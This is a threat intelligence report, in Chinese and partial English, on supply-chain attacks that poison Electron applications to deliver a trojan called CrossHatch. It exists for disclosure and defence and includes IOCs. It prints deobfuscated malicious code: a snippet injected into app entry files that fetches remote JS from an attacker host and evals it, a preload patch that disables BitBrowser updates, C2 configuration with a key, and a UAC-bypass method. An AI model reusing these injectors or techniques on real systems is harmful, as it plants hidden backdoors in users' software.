105某IM官网安装包供应链入口</h4>\n<p class="line" data-line="20">完整攻击链如下:</p>\n<p class="line img-box text-center" data-line="22"><img src="/uploads/2026/08/10/f882bef2ac9b879e6ab60d03173e3d14.png" alt="" width="70%"></p>\n<p class="line" data-line="24">安装包下载路径如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>字段名称 (Field)</strong></td>\n<td><strong>详细信息 (Details)</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>https://web.qXXXXXXXXXchat.com/ (官方网站)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>https://down.qXXXXXXXXXchat.com/Client/XXXXXXX_windows.zip (官方URL路径)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>a8020097a34d32721ddcba6cf75091b1</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="33">攻击者将恶意逻辑藏在了ELECTRON安装包的app.asar中,解包后的地址位于node_modules/electron-updater/out/main.js中,解混淆后的逻辑为下载白加黑组件:</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/08/10/78d354c6d9b20e2b975a464a6c911291.png" alt="" width="70%"></p>\n<p class="line" data-line="37">同时在main/index.js中引用该模块require(&quot;electron-updater&quot;),实现安装包启动后自动加载,</p>\n<br>\n<h4 class="line" data-line="41">某SCRM客户端接口供应链+RCE</h4>\n<p class="line" data-line="43">针对SCRM客户端的供应链攻击相对较为复杂,攻击者疑似使用了官方公告接口供应链+RCE组合的利用方式对特定目标下发CrossHatch特马,攻击链如下:</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/08/10/f4e541eca61733861e88d3eb8a6bb9c9.png" alt="" width="70%"></p>\n<p class="line" data-line="47">我们在对SCRM的安装包进行审计的过程中并没有发现内置的恶意代码,大概率是云端下发,随后对ASAR进行了漏洞挖掘,发现了两个能够RCE的接口</p>\n<ol>\n<li>远程加载JS接口:main/tabConfig.js中存在loadTelegramInterceptFromRemote函数远程加载官方高权限js,攻击者如果能够控制js内容即可实现RCE,原理与此前Apifox事件类似。</li>\n</ol>\n<p class="line img-box text-center" data-line="51"><img src="/uploads/2026/08/10/27c67ea051e8d79f1becafd53db0dcd9.png" alt="" width="70%"></p>\n<ol start="2">\n<li>官方公告接口:该接口会上传客户端的账号、租户和部门标识,并且推送公告,客户端存在多处将服务器返回json字段未经正确 JavaScript 字符串转义,直接拼入 webContents.executeJavaScript的问题。其中两条路径会进入nodeIntegration: true的本地 BrowserView,具备从服务端响应直接跨越到 Node.js、本机文件和系统命令执行的条件:</li>\n</ol>\n<p class="line img-box text-center" data-line="55"><img src="/uploads/2026/08/10/d531d769ccb6646fdf2cc18cdb844e01.png" alt="" width="70%"></p>\n<p class="line" data-line="57">结合本地EDR日志以及客户端触发RCE执行cmd.exe /d /s /c &quot;tasklist | find /i &quot;sm.exe&quot;&quot;恶意命令前请求官方公告IP的网络行为,我们综合判断攻击者通过第二条路径入侵目标:</p>\n<p class="line img-box text-center" data-line="59"><img src="/uploads/2026/08/10/1310ce218844fbfd94de0d741c419420.png" alt="" width="70%"></p>\n<p class="line" data-line="61">从opsec的角度来看SCRM的攻击链水平更高,更难溯源,但是从终端防御来讲由于两条供应链路径最终都是通过child_process.exec()启动CMD实现RCE,所以EDR看到的两起供应链对应的命令行相同,某一个ELECTRON的主进程XXX.exe启动了带有特定参数的CMD命令:cmd.exe /d /s /c XXXX。</p>\n<br>\n<h3 class="line" data-line="65">武器组件</h3>\n<h4 class="line" data-line="67">下载者</h4>\n<p class="line" data-line="69">硬编码配置:</p>\n<pre class="hljs"><code class="hljs">strcpy\\(v7, "https://dash\\.autotranshub\\.com"\\);      // C2  \nsub\\_1400B72A0\\(&v31\\[1\\], "$5j8RCi4U2\\#4A^", 14i64\\);  // 预共享密钥 \\(PSK\\)  \nstrcpy\\(\\(char \\*\\)&v39, "1\\.0\\.0"\\);                     // version  \nqmemcpy\\(v18, "windows", 7\\);                        // platform  \nv42 = 60; v43 = 10; v44 = 5;                       // 心跳周期 / 抖动 / 最小间隔(秒)\n</code></pre>\n<p class="line" data-line="79">通信协议如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>端点</strong></td>\n<td><strong>用途</strong></td>\n</tr>\n<tr>\n<td>POST /api/v1/register</td>\n<td>上线注册,返回 commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/heartbeat</td>\n<td>心跳,返回 pending_batches + commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/download/&lt;file_id&gt;</td>\n<td>拉取待投递文件,响应字段 data</td>\n</tr>\n<tr>\n<td>POST /api/v1/processes</td>\n<td>上报受害机全量进程列表</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="89">通信结构:</p>\n<pre><code>\\{ &quot;client\\_id&quot;: &quot;&lt;主机名&gt;\\-&lt;用户名&gt;&quot;, &quot;timestamp&quot;: &lt;epoch&gt;, &quot;payload&quot;: &quot;&lt;base64\\(AES\\-256\\-GCM\\)&gt;&quot; \\}\n</code></pre>\n<p class="line" data-line="93">client_id 由 GetComputerNameA() + &quot;-&quot; + GetUserNameA() 拼成,取不到主机名时回落为字符串 unknown。注册内层明文含 hostname / platform / ver
105sion。</p>\n<p class="line" data-line="95">加密:SHA256(&quot;$5j8RCi4U2#4A^&quot;) → 32 字节 AES-256 密钥;ChainingModeGCM;nonce 由 BCryptGenRandom 生成 12 字节;标准 Base64 传输。代码显式校验 &quot;key must be 32 bytes&quot;,认证失败报 &quot;AES-GCM authentication tag mismatch&quot;。</p>\n<p class="line" data-line="97">运行时能力:</p>\n<ul>\n<li>启动:CreateMutexA(NULL, TRUE, &quot;Local\\\\single_instance&quot;) 单实例互斥(已存在则直接退出)→ FreeConsole() 脱离控制台 → 注册 → 拉起工作线程。</li>\n<li>心跳线程:首次随机延迟 4–14 秒(Mersenne Twister,种子 std::random_device),此后 60 + rand(-10,+10) 秒,下限 5 秒——带抖动,规避固定周期检测。</li>\n<li>进程上报线程:CreateToolhelp32Snapshot 遍历,进程名转小写去重,每 1200 秒(20 分钟) POST 一次全量进程列表。另有 QueryFullProcessImageNameA 路径可取完整镜像路径。</li>\n</ul>\n<br>\n<h4 class="line" data-line="105">Electron应用投毒器</h4>\n<p class="line" data-line="107">核心功能枚举受害机器上所有Electron 应用,removeUseStrict 删除 &quot;use strict&quot; 声明(避免严格模式破坏注入代码),把恶意 JS 前置到入口文件最前面,asar.WriteFile + updateOffsets + updateHeader 重建归档头与偏移表,使篡改后的 asar 结构完好、应用照常启动,注入的恶意js解混淆后逻辑如下:</p>\n<pre class="hljs"><code class="hljs">require\\(\'https\'\\)\\.get\\(\'https://app\\.autotranshub\\.com/scrm\\.js\', function\\(res\\)\\{  \n    let data = \'\';  \n    res\\.on\\(\'data\', function\\(chunk\\)\\{ data \\+= chunk; \\}\\);  \n    res\\.on\\(\'end\', function\\(\\)\\{ eval\\(data\\); \\}\\);  \n\\}\\);\n</code></pre>\n<p class="line" data-line="117">加载远程scrm.js,核心功能是解密C2服务器(https://web.navicat.cc/basic)的数据:Base64(XOR(JSON({fid, sid}), &quot;strumarium&quot;)),传递给eval函数,实现寄生在合法Electron程序下的隐蔽后门。</p>\n<p class="line" data-line="119">该插件还有一个针对BitBrowser的preload补丁功能,patch了exposeInMainWorld,把 downloadFileService 与 onUpdateAvailable 换成恒返回 true 的空壳,达到禁用更新的效果。</p>\n<pre class="hljs"><code class="hljs">/\\*\\_bbp\\_\\*/  \n\\(\\(\\)=>\\{  \n  const \\{contextBridge:c\\} = require\\("electron"\\);  \n  const \\_o = c\\.exposeInMainWorld\\.bind\\(c\\);  \n  c\\.exposeInMainWorld = \\(n,a\\) => \\{  \n    if\\(n === "bitClientMain" && a && typeof a === "object"\\)\\{  \n      a\\.downloadFileService = \\(\\) => true;  \n      a\\.onUpdateAvailable  = \\(\\) => true;  \n    \\}  \n    return \\_o\\(n,a\\);  \n  \\};  \n\\}\\)\\(\\);\n</code></pre>\n<p class="line" data-line="136">BitBrowser在国内多为电商客户使用,受影响的scrm软件也是用于跨境电商,各种迹象显示,本轮高水平攻击似乎是出于经济目的。</p>\n<br>\n<h4 class="line" data-line="140">CrossHatch特马</h4>\n<p class="line" data-line="142">CrossHatch由较为传统的手工 PE 映射器加载到内存中,带有通信协议魔数“Cross”,C2为:www.msultra.xin。通信特征如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>项</strong></td>\n<td><strong>值</strong></td>\n</tr>\n<tr>\n<td>方法</td>\n<td><strong>POST</strong></td>\n</tr>\n<tr>\n<td>User-Agent</td>\n<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36</td>\n</tr>\n<tr>\n<td>上传专用 UA</td>\n<td>WinHTTP UploadFile/1.0</td>\n</tr>\n<tr>\n<td>消息结构</td>\n<td>15 字节头(含魔数 Cross、类型、长度)+ 载荷,calloc(len+0x0F)</td>\n</tr>\n<tr>\n<td>编码</td>\n<td>
105Base64(sub_140030190 为标准 Base64 解码器)</td>\n</tr>\n<tr>\n<td>心跳间隔</td>\n<td>全局 dword_140079360,<strong>默认 0x2710 = 10 秒</strong>;sub_140001EB0 自适应调整,<strong>下限 0x3E8(1s)、上限 0x7530(30s)</strong></td>\n</tr>\n<tr>\n<td>协议</td>\n<td>同时支持 http 与 https(sub_140004CF0 手工解析 URL,按 scheme 选 80/443)</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="155">木马内置功能如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>能力</strong></td>\n<td><strong>实现</strong></td>\n</tr>\n<tr>\n<td><strong>UAC 提权绕过</strong></td>\n<td>CoInitializeSecurity + CoGetObject(Elevation:Administrator!new: 提升权限 COM moniker)→ 调接口 vtable+0x48 的 6 参方法(ICMLuaUtil::ShellExec 形态);配合读 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System</td>\n</tr>\n<tr>\n<td>管理员判定</td>\n<td>AllocateAndInitializeSid + CheckTokenMembership</td>\n</tr>\n<tr>\n<td>用户在场感知</td>\n<td>GetLastInputInfo + GetTickCount64</td>\n</tr>\n<tr>\n<td>文件上传</td>\n<td>sub_140006270:CreateFileW + GetFileSizeEx + WinHttpWriteData 分块 POST</td>\n</tr>\n<tr>\n<td>文件下载落地</td>\n<td>sub_1400078F0:先 DeleteUrlCacheEntryW 清 IE 缓存痕迹再 URLDownloadToFileW</td>\n</tr>\n<tr>\n<td>反射式模块加载</td>\n<td>MemoryModule</td>\n</tr>\n<tr>\n<td>网络</td>\n<td>WinHTTP(C2)+ WS2_32/IOCP 异步引擎(<strong>含 listen/accept,具备监听端</strong>)+ Secur32 SSPI 全套(含 EncryptMessage/DecryptMessage)+ CRYPT32 证书库操作</td>\n</tr>\n<tr>\n<td>哈希/随机</td>\n<td>ADVAPI32 Crypt* + SystemFunction036(RtlGenRandom)</td>\n</tr>\n<tr>\n<td>底层</td>\n<td>ntdll LdrEnumerateLoadedModules / NtAllocateVirtualMemory / RtlAcquirePebLock</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="171">核心能力主要靠C2下发的插件PE提供,内存加载插件的结构与memorymodule项目完全一致:</p>\n<pre class="hljs"><code class="hljs">qword\\_14007B4F8\\(  \n    sub\\_1400092D0,        // 回调:向 C2 发送消息(插件回传数据)  \n    sub\\_140006270,        // 回调:文件分块上传(WinHTTP,UA = WinHTTP UploadFile/1\\.0)  \n    sub\\_1400078F0,        // 回调:下载文件落地(DeleteUrlCacheEntryW \\+ URLDownloadToFileW)  \n    dword\\_140079364,      // 配置字  \n    11,                   // 协议/版本常量  \n    &String1              // C2 URL  \n\\);\n</code></pre>\n<br>\n<h3 class="line" data-line="185">总结</h3>\n<p class="line" data-line="187">目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。</p>\n<p class="line img-box text-center" data-line="189"><img src="/uploads/2026/08/10/bee3d6217ce63fa787c3189cec19c8b3.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="193">IOC</h3>\n<p class="line" data-line="195">MD5:</p>\n<p class="line" data-line="197">8fb230a39b06c8aadce608f2abda19f1</p>\n<p class="line" data-line="199">a8020097a34d32721ddcba6cf75091b1</p>\n<p class="line" data-line="201">bdcaa7dc332f473ddbb50e606b1e707f</p>\n<p class="line" data-line="203">26f62150a38a0cd2d9d1087296e3d655</p>\n<p class="line" data-line="205">fb15ee51b257c91952082c1a35fe26c0</p>\n<p class="line" data-line="207">e6968d38ddb68931ff3e43db9e1535a4</p>\n<p class="line" data-line="209">1c801f78185f11eccaa5a37a62720e00</p>\n<p class="line" data-line="211">C2:</p>\n<p class="line" data-line="213">autotranshub.com</p>\n<p class="line" data-line="215">msultra.xin</p>\n<p class="line" data-line="217">winterms.com</p>\n<p class="line" data-line="219">navicat.cc</p>\n<p class="line" data-line="221">homeital.com</p>\n<p class="line" data-line="223">identifiles.com</p>\n<p class="line" data-line="225">msapifast.com</p>\n<br>\n<h3 class="line" data-line="229">参考链接</h3>\n<p class="line" data-line="231">[1] https://ti.qianxin.com/blog/articles/operation-dragon-dance-the-sword-of-damocles-hanging-over-the-gaming-industry/</p>\n<p class="line" data-line="233">[2] https://ti.qianxin.com/blog/articles/operation-deviltiger-0day-vulnerability-techniques-and-tactics-used-by-apt-q-12-disclosed-cn/</p>\n<p class="line" data-line="235">[3] https://ti.qianxin.com/blog/articles/operation-south-star-cn/</p>\n<p class="line" data-line="237">[4] https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn/</p>\n<p class="line" data-line="239">[5] https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-activities-against-domestic-electron-software-cn"},{_id:In,title:ot,category:s,readableId:"supply-chain-attack-activities-against-domestic-electron-software-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"In June 2026, the RedDrip Team of QIANXIN Threat Intelligence Center, through its private AI powered threat intelligence production pipeline, continuously detected a 
105new bespoke trojan, CrossHatch, being distributed via supply chains of multiple domestic Electron software products. Some supply chain nodes exhibited targeted delivery behaviors. Various signs suggest that the attackers, likely for economic purposes, are conducting high level attacks against domestic and cross border e commerce businesses.",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p,"AI",cp],publish_time:"2026-08-07T08:16:11.000Z",content:'<h3 class="line" data-line="0">Background</h3>\n<p class="line" data-line="2">Since our discovery of Operation Dragon Dance<sup>[1]</sup> in 2021, we have repeatedly emphasized the vulnerability of domestic Electron software – products built on the Chromium embedded framework are highly susceptible to remote code execution attacks. Subsequently, we have uncovered espionage campaigns by overseas APT groups exploiting dozens of 0‑day vulnerabilities in domestic Electron software, including Operation DevilTiger<sup>[2]</sup> and Operation South Star<sup>[3]</sup>.</p>\n<p class="line" data-line="4">Entering the AI era, the barrier to source‑code auditing of Electron has dropped dramatically: attackers can now discover exploitable interfaces by merely consuming tokens. In some cases, AI even starts directly from OSS keys left inside the asar package, further lowering the cost of supply chain attacks.</p>\n<p class="line" data-line="6">This shift has translated into real threats. This year we have already monitored over a dozen supply chain attack incidents against domestic software, with attackers ranging from high‑end cybercriminals to emerging APT groups. Some non‑politically motivated supply chain attacks have been disclosed to the open‑source community<sup>[4][5]</sup>. At the same time, AI’s excellent coding capabilities have spawned a large number of engineered bespoke trojans – in just the first half of this year we captured a considerable volume of new samples. In short, AI‑driven cyberattacks are posing unprecedented challenges to the advanced threat discovery and attribution capabilities of various vendors.</p>\n<p class="line" data-line="8">In June 2026, the RedDrip Team of QIANXIN Threat Intelligence Center, through its private AI‑powered threat intelligence production pipeline, continuously detected a 
105new bespoke trojan, CrossHatch, being distributed via supply chains of multiple domestic Electron software products. Some supply chain nodes exhibited targeted delivery behaviors. Various signs suggest that the attackers, likely for economic purposes, are conducting high‑level attacks against domestic and cross‑border e‑commerce businesses.</p>\n<p class="line" data-line="10">The Tianqing &quot;Liuhe&quot; Advanced Threat Defense Engine can already intercept the CrossHatch trojan:</p>\n<p class="line img-box text-center" data-line="12"><img src="/uploads/2026/08/10/d9f8793ec74076eb4de10f1efbd9da1d.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="16">Supply Chain Entry Points in Domestic Electron Software</h3>\n<h4 class="line" data-line="18">Supply Chain Entry via Official Website Installer of an IM Client</h4>\n<p class="line" data-line="20">Full attack chain as follows:</p>\n<p class="text-center line img-box text-center" data-line="22"><img src="/uploads/2026/08/10/e1fcaab8e283edebfdc17186acf9c9ae.png" alt="" width="70%"></p>\n<p class="line" data-line="24">Download URL details:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Field</strong></td>\n<td><strong>Details</strong></td>\n</tr>\n<tr>\n<td>Referrer</td>\n<td>https://web.qXXXXXXXXXchat.com/ (official website)</td>\n</tr>\n<tr>\n<td>Download URL</td>\n<td>https://down.qXXXXXXXXXchat.com/Client/XXXXXXX_windows.zip (official URL path)</td>\n</tr>\n<tr>\n<td>Malware MD5</td>\n<td>a8020097a34d32721ddcba6cf75091b1</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="33">The attackers hid malicious logic inside the app.asar of the Electron installer. After unpacking, the modified code is located at node_modules/electron-updater/out/main.js. After deobfuscation, the logic downloads a white‑plus‑black DLL component:</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/08/10/78d354c6d9b20e2b975a464a6c911291.png" alt="" width="70%"></p>\n<p class="line" data-line="37">Meanwhile, main/index.js <code>requires the module require\\(&quot;electron\\-updater&quot;\\)</code>, so the installer automatically loads it upon startup.</p>\n<br>\n<h4 class="line" data-line="41">Supply Chain + RCE via an SCRM Client Announcement Interface</h4>\n<p class="line" data-line="43">The supply chain attack against the SCRM client is relatively more complex. The attackers appear to have used a combination of the official announcement interface supply chain and RCE to deliver CrossHatch to specific targets. Attack chain:</p>\n<p class="text-center line img-box text-center" data-line="45"><img src="/uploads/2026/08/10/4bd169799ae366beabdc9796bbbfdb2b.png" alt="" width="70%"></p>\n<p class="line" data-line="47">During our audit of the SCRM installer package, we found no embedded malicious code – it is most likely delivered from the cloud. We then performed vulnerability mining on the ASAR and discovered two RCE‑capable interfaces:</p>\n<ol>\n<li><strong>Remote JS loading interface</strong>: In main/tabConfig.js, the function loadTelegramInterceptFromRemote loads a remote official high‑privilege JS. If an attacker can control the JS content, RCE can be achieved – the principle is similar to the earlier Apifox incident.</li>\n</ol>\n<p class="line img-box text-center" data-line="51"><img src="/uploads/2026/08/10/27c67ea051e8d79f1becafd53db0dcd9.png" alt="" width="70%"></p>\n<ol start="2">\n<li><strong>Official announcement interface</strong>: This interface uploads the client’s account, tenant, and department identifiers, and pushes announcements. The client has multiple places where server‑returned JSON fields are directly concatenated into <code>webContents\\.executeJavaScript</code> without proper JavaScript string escaping. Two of these paths enter a local BrowserView with <code>nodeIntegration: true</code>, enabling a direct jump from server responses to Node.js, local file system, and system command execution:</li>\n</ol>\n<p class="line img-box text-center" data-line="55"><img src="/uploads/2026/08/10/d531d769ccb6646fdf2cc18cdb844e01.png" alt="" width="70%"></p>\n<p class="line" data-line="57">Combining local EDR logs and the client’s network request to the official announcement IP before triggering the RCE command <code>cmd\\.exe /d /s /c &quot;tasklist | find /i &quot;sm\\.exe&quot;</code> (a malicious command), we comprehensively determined that the attackers compromised the target via the second path:</p>\n<p class="line img-box text-center" data-line="59"><img src="/uploads/2026/08/10/1310ce218844fbfd94de0d741c419420.png" alt="" width="70%"></p>\n<p class="line" data-line="61">From an OPSEC perspective, the SCRM attack chain is more sophisticated and harder to trace. However, from a terminal defense standpoint, because both supply chain paths ultimately launch CMD via <code>child\\_process\\.exec\\(\\)</code> to achieve RCE, the EDR sees the same command line for both incidents – a certain Electron main process (XXX.exe) launches a CMD command with specific parameters: <code>cmd\\.exe /d /s /c XXXX</code>.</p>\n<br>\n<h3 class="line" data-line="65">Weapon Components</h3>\n<h4 class="line" data-line="67">Downloader</h4>\n<p class="line" data-line="69">Hard‑coded configuration:</p>\n<pre class="hljs"><code class="hljs">strcpy\\(v7, "https://dash\\.autotranshub\\.com"\\); // C2\nsub\\_1400B72A0\\(&v31\\[1\\], "$5j8RCi4U2\\#4A^", 14i64\\); // Pre‑shared key \\(PSK\\)\nstrcpy\\(\\(char \\*\\)&v39, "1\\.0\\.0"\\); // version\nqmemcpy\\(v18, "windows", 7\\); // platform\nv42 = 60; v43 = 10; v44 = 5; // heartbeat period / jitter / minimum interval \\(seconds\\)\n</code></pre>\n<p class="line" data-line="79">Communication protocol:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Endpoint</strong></td>\n<td><strong>Purpose</strong></td>\n</tr>\n<tr>\n<td>POST /api/v1/register</td>\n<td>Registration, returns commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/heartbeat</td>\n<td>Heartbeat, returns pending_batches + commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/download/&lt;file_id&gt;</td>\n<td>Fetch pending file, response field data</td>\n</tr>\n<tr>\n<td>POST /api/v1/processes</td>\n<td>Fetch pending file, response field data</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="89">Communication structure:</p>\n<pre><code>\\{ &quot;client\\_id&quot;: &quot;&lt;hostname&gt;\\-&lt;username&gt;&quot;, &quot;timestamp&quot;: &lt;epoch&gt;, &quot;payload&quot;: &quot;&lt;base64\\(AES\\-256\\-GCM\\)&gt;&quot; \\}\n</code></pre>\n<p class="line" data-line="93"><code>client\\_id</code> is constructed from <code>GetComputerNameA\\(\\)</code> + &quot;-&quot; + <code>GetUserNameA\\(\\)</code>; if the hostname cannot be obtained, it falls back to the string <code>unknown</code>. The plaintext inside the registration contains <code>
105hostname / platform / version</code>.</p>\n<p class="line" data-line="95">Encryption: SHA256(&quot;$5j8RCi4U2#4A^&quot;) → 32‑byte AES‑256 key; ChainingModeGCM; nonce is 12 bytes generated by <code>BCryptGenRandom</code>; standard Base64 transport. The code explicitly checks that &quot;key must be 32 bytes&quot; and fails with &quot;AES-GCM authentication tag mismatch&quot; on authentication failure.</p>\n<p class="line" data-line="97">Runtime capabilities:</p>\n<ul>\n<li>Startup: <code>CreateMutexA\\(NULL, TRUE, &quot;Local\\\\\\\\single\\_instance&quot;\\)</code> – single‑instance mutex (exits if already present) → <code>FreeConsole\\(\\)</code> to detach from console → register → spawn worker threads.</li>\n<li>Heartbeat thread: first random delay 4‑14 seconds (Mersenne Twister, seeded by <code>std::random\\_device</code>), then every 60 + rand(-10,+10) seconds, with a lower bound of 5 seconds – jitter to evade fixed‑period detection.</li>\n<li>Process reporting thread: traverses with <code>CreateToolhelp32Snapshot</code>, converts process names to lowercase, deduplicates, and POSTs the full process list every 1200 seconds (20 minutes). Additionally, <code>QueryFullProcessImageNameA</code> can retrieve the full image path.</li>\n</ul>\n<br>\n<h4 class="line" data-line="105">Electron Application Poisoner</h4>\n<p class="line" data-line="107">Core functionality enumerates all Electron applications on the victim machine, removes <code>&quot;use strict&quot;</code> declarations (to prevent strict mode from breaking injected code), prepends malicious JS to the very beginning of the entry file, and uses <code>asar\\.WriteFile</code> + <code>updateOffsets</code> + <code>updateHeader</code> to rebuild the archive header and offset table. This leaves the tampered asar structurally intact and the application starts normally. The deobfuscated malicious JS logic is as follows:</p>\n<pre class="hljs"><code class="hljs">require\\(\'https\'\\)\\.get\\(\'https://app\\.autotranshub\\.com/scrm\\.js\', function\\(res\\)\\{  \n    let data = \'\';  \n    res\\.on\\(\'data\', function\\(chunk\\)\\{ data \\+= chunk; \\}\\);  \n    res\\.on\\(\'end\', function\\(\\)\\{ eval\\(data\\); \\}\\);  \n\\}\\);\n</code></pre>\n<p class="line" data-line="117">It loads the remote <code>scrm\\.js</code>, whose core function is to decrypt data from the C2 server (<code>https://web\\.navicat\\.cc/basic</code>): Base64(XOR(JSON({fid, sid}), &quot;strumarium&quot;)), and pass it to eval, implementing a hidden backdoor that parasitizes legitimate Electron programs.</p>\n<p class="line" data-line="119">This plugin also includes a preload patch for BitBrowser, patching <code>exposeInMainWorld</code> to replace <code>downloadFileService</code> and <code>onUpdateAvailable</code> with stubs that always return <code>true</code>, effectively disabling updates.</p>\n<pre class="hljs"><code class="hljs">/\\*\\_bbp\\_\\*/  \n\\(\\(\\)=>\\{  \n  const \\{contextBridge:c\\} = require\\("electron"\\);  \n  const \\_o = c\\.exposeInMainWorld\\.bind\\(c\\);  \n  c\\.exposeInMainWorld = \\(n,a\\) => \\{  \n    if\\(n === "bitClientMain" && a && typeof a === "object"\\)\\{  \n      a\\.downloadFileService = \\(\\) => true;  \n      a\\.onUpdateAvailable  = \\(\\) => true;  \n    \\}  \n    return \\_o\\(n,a\\);  \n  \\};  \n\\}\\)\\(\\);\n</code></pre>\n<p class="line" data-line="136">BitBrowser is mostly used by e‑commerce customers in China, and the affected SCRM software is also used for cross‑border e‑commerce. All signs indicate that this high‑level campaign is likely economically motivated.</p>\n<br>\n<h4 class="line" data-line="140">CrossHatch Trojan</h4>\n<p class="line" data-line="142">CrossHatch is loaded into memory by a relatively traditional manual PE mapper, with the protocol magic number <code>&quot;Cross&quot;</code> and C2: <code>www\\.msultra\\.xin</code>. Communication characteristics:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Item</strong></td>\n<td><strong>Value</strong></td>\n</tr>\n<tr>\n<td>Method</td>\n<td>POST</td>\n</tr>\n<tr>\n<td>User‑Agent</td>\n<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36</td>\n</tr>\n<tr>\n<td>Upload‑specific UA</td>\n<td>WinHTTP UploadFile/1.0</td>\n</tr>\n<tr>\n<td>Message structure</td>\n<td>15‑byte header (containing magic <code>Cross</code>, type, length) + payload, <code>calloc\\(len\\+0x0F\\)</code></td>\n</tr>\n<tr>\n<td>Encoding</td>\n<td>Base64 (<code>sub\\_140030190</code> is a standard Base64 decoder)</td>\n</tr>\n<tr>\n<td>Heartbeat interval</td>\n<td>Global <code>dword\\_140079360</code>, default <strong>0x2710 = 10 seconds</strong>; <code>sub\\_140001EB0</code> adjusts adaptively, <strong>lower bound 0x3E8 (1s), upper bound 0x7530 (30s)</strong></td>\n</tr>\n<tr>\n<td>Protocol</td>\n<td>Supports both http and https (<code>sub\\_140004CF0</code> manually parses URL, selects 80/443 based on scheme)</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="155">Built‑in capabilities of the trojan:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Capability</strong></td>\n<td><strong>Implementation</strong></td>\n</tr>\n<tr>\n<td>UAC bypass</td>\n<td><code>CoInitializeSecurity</code> + <code>CoGetObject</code> (Elevation:Administrator!new: privilege‑elevation COM moniker) → call 6‑parameter method at vtable+0x48 (ICMLuaUtil::ShellExec form); also reads <code>SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Policies\\\\\\\\System</code></td>\n</tr>\n<tr>\n<td>Admin check</td>\n<td><code>AllocateAndInitializeSid</code> + <code>CheckTokenMembership</code></td>\n</tr>\n<tr>\n<td>User presence detection</td>\n<td><code>GetLastInputInfo</code> + <code>GetTickCount64</code></td>\n</tr>\n<tr>\n<td>File upload</td>\n<td><code>sub\\_140006270</code>: <code>CreateFileW</code> + <code>GetFileSizeEx</code> + <code>WinHttpWriteData</code> chunked POST</td>\n</tr>\n<tr>\n<td>File download to disk</td>\n<td><code>sub\\_1400078F0</code>: first <code>DeleteUrlCacheEntryW</code> to clear IE cache traces, then <code>URLDownloadToFileW</code></td>\n</tr>\n<tr>\n<td>Reflective module loading</td>\n<td>MemoryModule</td>\n</tr>\n<tr>\n<td>Networking</td>\n<td>WinHTTP (C2) + WS2_32/IOCP async engine (includes <code>listen/accept</code>, capable of listening ports) + Secur32 SSPI full suite (including <code>EncryptMessage</code>/<code>DecryptMessage</code>) + CRYPT32 certificate store operations</td>\n</tr>\n<tr>\n<td>Hashing / random</td>\n<td>ADVAPI32 Crypt* + <code>SystemFunction036</code> (RtlGenRandom)</td>\n</tr>\n<tr>\n<td>Low‑level</td>\n<td>ntdll <code>LdrEnumerateLoadedModules</code> / <code>NtAllocateVirtualMemory</code> / <code>RtlAcquirePebLock</code></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="170">The core capabilities are mainly provided by plugin PEs delivered from the C2. The in‑memory loading structure is fully consistent with the MemoryModule project:</p>\n<pre class="hljs"><code class="hljs">qword\\_14007B4F8\\(\n    sub\\_1400092D0,           // callback: send messages to C2 \\(plugin return data\\)\n    sub\\_140006270,           // callback: file chunked upload \\(WinHTTP, UA = WinHTTP UploadFile/1\\.0\\)\n    sub\\_1400078F0,           // callback: download file to disk 